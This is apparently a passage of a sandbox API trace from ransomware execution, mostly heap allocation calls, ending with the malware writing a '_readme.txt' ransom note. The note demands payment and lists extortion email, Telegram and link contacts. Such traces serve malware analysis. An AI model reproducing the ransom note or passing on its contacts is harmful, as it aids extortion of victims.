hHeap=0x5e0000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.691] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.693] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.696] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.696] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.696] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0119.696] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.696] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.696] PathFindFileNameW (pszPath="") returned="" [0119.696] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.696] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.696] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.696] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.696] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0119.697] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0119.697] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.697] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") 